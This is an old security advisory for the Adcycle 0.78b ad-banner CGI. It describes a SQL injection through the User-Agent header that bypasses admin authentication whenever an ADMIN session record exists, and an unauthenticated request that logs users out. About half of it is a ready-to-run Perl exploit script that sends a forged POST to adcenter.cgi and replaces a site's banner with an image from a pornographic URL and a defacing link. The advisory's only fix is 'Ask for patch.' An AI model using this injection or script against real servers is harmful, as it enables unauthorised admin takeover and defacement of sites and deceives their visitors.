COMMAND
Adcycle
SYSTEMS AFFECTED
Adcycle 0.78b
PROBLEM
Neil K. found following. During the setup of adcycle using the
ominous build.cgi, it creates several tables by default these are:
mysql> show tables;
+-------------------+
| Tables_in_adcycle |
+-------------------+
| ad
| adconfig
| banners
| counter
| cp <= stores banner info etc.
| dailylog
| iplog
| login <= stores login info
| pools
| real_log
+-------------------+
10 rows in set (0.00 sec)
When a user logs into the script and authentication takes place
successfully, their data is entered into the login table:
$sth = $dbh->do("INSERT INTO login (remote,aid,pid,agent,stime,erase) VALUES ($log_list)");
the resulting table looks like this:
mysql> select * from login;
+-------------+-------+-----------+--------------------------------------+----------------------+
| remote | aid | pid | agent | stime
+-------------+-------+-----------+-------------------------------------------------------------+
| 169.254.0.2 | ADMIN | 8983632| Mozilla/4.76 [en] (U; Linux 2.4 i686) | 2001-02-16 06:48:48|
| 169.254.0.2 | ADMIN | 816479 | Mozilla/4.76 [en] (U; Linux 2.4 i686) | 2001-02-16 06:48:47|
+-------------+-------+-----------+--------------------------------------+----------------------+
2 rows in set (0.00 sec)
Ok on with the problem, unfortunately there is no way to avoid the
authentication of the script, but i might be able to get around
it. Cutting the bull from the *useful SQL queries in the script
you will find:
AdLibrary.pm:
sub db_login() {
==>
if($verify==0){
$FOUND=0;
$sth = $dbh->prepare("SELECT * FROM login WHERE remote='$remote' && agent='$agent' ORDER BY stime DESC");
$sth->execute;
while(@login = $sth->fetchrow_array){
if(length($login[1])>1){
$verify=1;
$whoami=$login[1];
$pid=$mixer;
}
}
$sth->finish();
}
<==
}
Well as you can see this piece of code handles the fact that the
user may have already logged in using a valid username/passwd
combination. And therefore should not have to enter his/her
username and password again to use the script. Cos well that
would be a total pain the arse wouldn' tit?. This clause is
epecially useful to us since we don't really know a valid
user/pass combination.
Anyway whats interesting abt the above u might ask?? Well the
use of $agent in the SQL query is most interesting since this
data is user defined. Not *very easily but it can be user defined
given the right circumstances. Concidering that we now literally
own that SQL query given a little thought we could easily get
around the authentication and do whatever we wanted. How?? Well
by changing the agent field of the http request to:
$agent = Mozilla' || aid='ADMIN
Thus changing the query to:
SELECT * FROM login WHERE (remote='127.0.0.1' && agent='Mozilla') || aid='ADMIN' ORDER BY stime DESC
^ ^ ^
brackets show 'logic bounds' username wanted
As you can see executing that query would return all records with
aid=ADMIN very useful since from the original Perl code above
would yeild $whoami=ADMIN. Furthermore since the authentication
routine is used in every call to the script it is possible to
execute any command that a normal ADMIN adcycle user would be
able to. Which is well... everything, changing banners,
advertisers etc....
Of course as you've probably guessed by now, this example assumes
that the admin user is actually 'admin' as it is by default. And
also the presence of a record with aid='ADMIN' which unfortunately
can only be present if the admin is either currently logged in or
has been logged in and not logged out. This is not that hard
actually if you've used this script seriously you'd know this to
be true.
As an after thought, requesting:
http://www.server.com/cgi-bin/adcycle/adcenter.cgi?task=purge_log&who=user
will result in the login table having all contents with aid=user
deleted from it, therefore logging that user out of the script
requiring them to log back in. Could be useful maybe?
To better demostrate this problem Neil included a small perl
script exploit that will alter banner images, some alteration
maybe needed for it to werk but hey it worked for me?!?.
#!/usr/bin/perl
#
#Adcycle v0.78b eXploit
#by neilk@alldas.de
#
#This script exploits a situation that allows a remote user to 'skip'
#authentication if the legitimate Admin is logged in or has not logged
#out properly since their last session.
#
#Shoutz to: tribunal, domz, all @alldas.de, mjm @gmc-online.de
# code segments borrowed from teleh0r @doglover.com
#
#http://news.alldas.de.
#
use strict;
use Socket;
banner();
if (@ARGV < 1) {
usage();
exit(1);
}
(my $target) = @ARGV;
my $clickurl="http://www.fuqu.com";
my $dir="cgi-bin/adcycle";
my $imageurl="http://www.hornylesbians.com/pr0n.gif";
my $cid="MT01";
my $bannerid=1;
my $agent = "Mozilla'||aid='ADMIN";
my $url = =
"click=$clickurl&image=$imageurl&pri=0&change=Update+Banner+1+Profile&option=AUTO&border=1&align=CENTER&target=_blank&alt=h0h0h0h0&btext=%3Cfont+face%3D%22verdana%22+size%3D2%3E%3Cstrong%3EClick+Here+to+Visit+our+Sponsor%3C%2Fstrong%3E%3C%2Ffont%3E&html=%3C%21--+START+ADCYCLE.COM+RICH+MEDIA+HTML+CODE+--%3E%0D%0A%3Ccenter%3E%0D%0A%3Ca+href%3D%22http%3A%2F%2F$target%2F$dir%2Fadclick.cgi%3Fmanager%3Dadcycle.com%26cid%3D$cid%26b%3D1%26id%3DIDNUMBER%22+target%3D%22_top%22%3E%0D%0A%3Cimg+src%3D%22$imageurl%22+width%3D468+height%3D60+border%3D1+ALT%3D%22Script+Kiddiot+Attack!%22%3E%3C%2Fa%3E%3Cbr%3E%0D%0A%3Ca+href%3D%22http%3A%2F%2F$target%2F$dir%2Fadclick.cgi%3Fmanager%3Dadcycle.com%26cid%3D$cid%26b%3D1%26id%3DIDNUMBER%22+target%3D%22_top%22%3E%3Cfont+face%3D%22verdana%22+size%3D2%3E%3Cstrong%3Eantionlinesuxhard%3C%2Fstrong%3E%3C%2Ffont%3E%3C%2Fa%3E%0D%0A%3C%2Fcenter%3E%0D%0A+%3C%21--+END+ADCYCLE.COM+RICH+MEDIA+HTML+CODE+--%3E%0D%0A%0D%0A&null=%3Ca+href%3D%22http%3A%2F%2F$target%2F$dir%2Fadclick.cgi%3Fmanager%3Dadcycle.com%26cid%3D$cid%26b%3D1%26id%3DIDNUMBER%22%3E&task=update_banner_profile&cid=$cid&banner=$bannerid&pg=2";
my $url_length = length($url);
my $request=
"POST /$dir/adcenter.cgi HTTP/1.0
Connection: close
User-Agent: $agent
Host: $target
Content-type: application/x-www-form-urlencoded
Content-length: $url_length
$url
";
my $iaddr = inet_aton($target);
my $paddr = sockaddr_in(80, $iaddr);
my $proto = getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, 'tcp');
connect(SOCKET, $paddr);
send(SOCKET,"$request", 0);
close(SOCKET);
exit(1);
sub banner {
print "\nAdcycle eXploit for V0.77b/0.78b\n";
print "by Neilk (neilk\@alldas.de/neil\@alldas.de)\n";
print "http://www.alldas.de\n\n";
}
sub usage {
print "Usage:\tperl $0 <target ip>\n\n";
}
SOLUTION
Ask for patch.